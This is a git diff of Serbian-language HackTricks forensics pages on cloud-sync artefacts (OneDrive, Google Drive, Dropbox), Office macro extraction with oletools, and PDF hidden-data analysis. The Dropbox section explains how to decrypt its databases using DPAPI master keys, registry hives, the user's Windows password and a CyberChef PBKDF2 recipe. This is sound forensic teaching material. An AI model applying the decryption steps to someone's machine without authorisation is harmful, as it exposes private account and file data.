-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** uz pomoć najnaprednijih alata zajednice na svetu.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
-U Windows-u, možete pronaći OneDrive fasciklu u `\Users\\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima:
+U Windows-u, možete pronaći OneDrive folder u `\Users\\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke o sinhronizovanim datotekama:
* Veličina u bajtovima
* Datum kreiranja
* Datum modifikacije
-* Broj fajlova u oblaku
-* Broj fajlova u fascikli
+* Broj datoteka u cloud-u
+* Broj datoteka u folderu
* **CID**: Jedinstveni ID OneDrive korisnika
* Vreme generisanja izveštaja
-* Veličina HD-a OS-a
+* Veličina HD operativnog sistema
-Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj ID**. Možda ćete moći pronaći fajlove sa imenima: _**\.ini**_ i _**\.dat**_ koji mogu sadržati zanimljive informacije poput imena fajlova sinhronizovanih sa OneDrive-om.
+Kada pronađete CID, preporučuje se da **pretražujete datoteke koje sadrže ovaj ID**. Možda ćete moći da pronađete datoteke sa imenom: _**\.ini**_ i _**\.dat**_ koje mogu sadržati zanimljive informacije kao što su imena datoteka sinhronizovanih sa OneDrive-om.
## Google Drive
-U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\\AppData\Local\Google\Drive\user_default`\
-Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima.
+U Windows-u, možete pronaći glavni Google Drive folder u `\Users\\AppData\Local\Google\Drive\user_default`\
+Ovaj folder sadrži datoteku pod nazivom Sync\_log.log sa informacijama kao što su email adresa naloga, imena datoteka, vremenski oznake, MD5 hešovi datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa odgovarajućim MD5.
-Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova.
+Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme modifikacije, veličinu i MD5 kontrolni zbir datoteka.
-Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a.
+Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanju deljenih foldera i verziju Google Drive-a.
## Dropbox
-Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\
-Možete pronaći baze podataka u fasciklama:
+Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovom\
+Možete pronaći baze podataka u folderima:
-* `\Users\\AppData\Local\Dropbox`
-* `\Users\\AppData\Local\Dropbox\Instance1`
-* `\Users\\AppData\Roaming\Dropbox`
+* `\Users\\AppData\Local\Dropbox`
+* `\Users\\AppData\Local\Dropbox\Instance1`
+* `\Users\\AppData\Roaming\Dropbox`
-Glavne baze podataka su:
+A glavne baze podataka su:
* Sigstore.dbx
* Filecache.dbx
* Deleted.dbx
* Config.dbx
-Ekstenzija ".dbx" znači da su **baze podataka enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
+Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
-Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
+Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Međutim, glavne informacije su:
@@ -73,64 +74,65 @@ Međutim, glavne informacije su:
* **Algoritam**: PBKDF2
* **Iteracije**: 1066
-Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno:
+Pored tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebna:
-* **Enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
-* **`SYSTEM`** i **`SECURITY`** košnice
-* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\\AppData\Roaming\Microsoft\Protect`
-* **korisničko ime** i **šifra** Windows korisnika
+* **šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
+* **`SYSTEM`** i **`SECURITY`** hives
+* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\\AppData\Roaming\Microsoft\Protect`
+* **korisničko ime** i **lozinka** Windows korisnika
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
-Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta.
+Ako sve ide kako se očekuje, alat će označiti **glavni ključ** koji trebate **koristiti za oporavak originalnog**. Da biste povratili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući glavni ključ kao "lozinku" unutar recepta.
-Rezultujući heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dešifrovati sa:
+Rezultantni heksadecimalni broj je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
-Baza podataka **`config.dbx`** sadrži:
+The **`config.dbx`** baza podataka sadrži:
-- **Email**: Email korisnika
-- **usernamedisplayname**: Ime korisnika
-- **dropbox\_path**: Putanja gde se nalazi Dropbox folder
-- **Host\_id: Hash** korišćen za autentifikaciju na oblaku. Ovo se može opozvati samo preko veba.
-- **Root\_ns**: Identifikator korisnika
+* **Email**: Email korisnika
+* **usernamedisplayname**: Ime korisnika
+* **dropbox\_path**: Putanja gde se nalazi dropbox folder
+* **Host\_id: Hash** korišćen za autentifikaciju u cloud. Ovo se može opozvati samo sa veba.
+* **Root\_ns**: Identifikator korisnika
-Baza podataka **`filecache.db`** sadrži informacije o svim fajlovima i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa najkorisnijim informacijama:
+The **`filecache.db`** baza podataka sadrži informacije o svim datotekama i folderima sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa više korisnih informacija:
-- **Server\_path**: Putanja gde se fajl nalazi unutar servera (ova putanja je prethodjena `host_id`-om klijenta).
-- **local\_sjid**: Verzija fajla
-- **local\_mtime**: Datum modifikacije
-- **local\_ctime**: Datum kreiranja
+* **Server\_path**: Putanja gde se datoteka nalazi unutar servera (ova putanja je prethodna sa `host_id` klijenta).
+* **local\_sjid**: Verzija datoteke
+* **local\_mtime**: Datum modifikacije
+* **local\_ctime**: Datum kreiranja
-Druge tabele unutar ove baze podataka sadrže još interesantnih informacija:
+Ostale tabele unutar ove baze sadrže zanimljivije informacije:
-- **block\_cache**: heš svih fajlova i fascikli Dropbox-a
-- **block\_ref**: Povezan je ID heša iz tabele `block_cache` sa ID fajla u tabeli `file_journal`
-- **mount\_table**: Deljeni folderi Dropbox-a
-- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a
-- **date\_added**
+* **block\_cache**: hash svih datoteka i foldera Dropbox-a
+* **block\_ref**: Povezuje hash ID tabele `block_cache` sa ID datoteke u tabeli `file_journal`
+* **mount\_table**: Deljeni folderi Dropbox-a
+* **deleted\_fields**: Obrišene datoteke Dropbox-a
+* **date\_added**
-
+
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-- **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index 272989356..305a42333 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,58 +1,60 @@
-# Analiza Office fajlova
+# Analiza Office datoteka
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-
+
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** uz pomoć najnaprednijih alata zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
+Za dodatne informacije proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
-Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova.
+Microsoft je kreirao mnoge formate office dokumenata, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, što ih čini metama za phishing i malware. OOXML datoteke su strukturirane kao zip kontejneri, što omogućava inspekciju kroz raspakivanje, otkrivajući hijerarhiju datoteka i foldera i sadržaj XML datoteka.
-Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka unutar CTF izazova.
+Da bi se istražile strukture OOXML datoteka, dati su komanda za raspakivanje dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim datotekama su dokumentovane, što ukazuje na kontinuiranu inovaciju u skrivanju podataka unutar CTF izazova.
-Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidima i promenljivim vrednostima.
+Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malware-a, obično preuzimajući i izvršavajući dodatne zlonamerne pakete. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa tačkama prekida i posmatranim promenljivama.
-Instalacija i korišćenje **oletools**-a je jednostavno, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`.
+Instalacija i korišćenje **oletools** su jednostavni, sa komandama za instalaciju putem pip-a i vađenje makroa iz dokumenata. Automatsko izvršavanje makroa se pokreće funkcijama kao što su `AutoOpen`, `AutoExec` ili `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
-
+
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index eb574703b..f259d9f73 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,52 +1,54 @@
-# Analiza PDF fajlova
+# PDF File analysis
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
-Pristupite danas:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
+**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
-PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da bi razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origamija.
+PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini centralnom tačkom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i može uključivati skripte u jezicima kao što su JavaScript ili Flash. Da bi se razumeo PDF struktura, može se konsultovati [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Didiera Stevensa, ili koristiti alate poput tekstualnog editora ili PDF-specifičnog editora kao što je Origami.
-Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
+Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati kao što su [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Sakriveni podaci unutar PDF-ova mogu biti prikriveni u:
* Nevidljivim slojevima
-* XMP formatu metapodataka od strane Adobe-a
+* XMP metapodacima formata od Adobe-a
* Inkrementalnim generacijama
* Tekstu iste boje kao pozadina
* Tekstu iza slika ili preklapajućih slika
-* Komentarima koji se ne prikazuju
+* Neprikazanim komentarima
-Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje nude vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini mogu pružiti dodatno čitanje na ovu temu.
+Za prilagođenu analizu PDF-a, Python biblioteke kao što su [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za kreiranje prilagođenih skripti za parsiranje. Pored toga, potencijal PDF-a za skladištenje skrivenih podataka je toliko ogroman da resursi poput NSA vodiča o rizicima i protivmera vezanim za PDF, iako više nisu dostupni na svojoj originalnoj lokaciji, i dalje nude dragocene uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [trikova za PDF format](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertinija mogu pružiti dodatno čitanje o ovoj temi.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 5830d943b..fcc1ffb85 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,162 +1,179 @@
-# Anti-Forenske Tehnike
+# Anti-Forensic Techniques
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
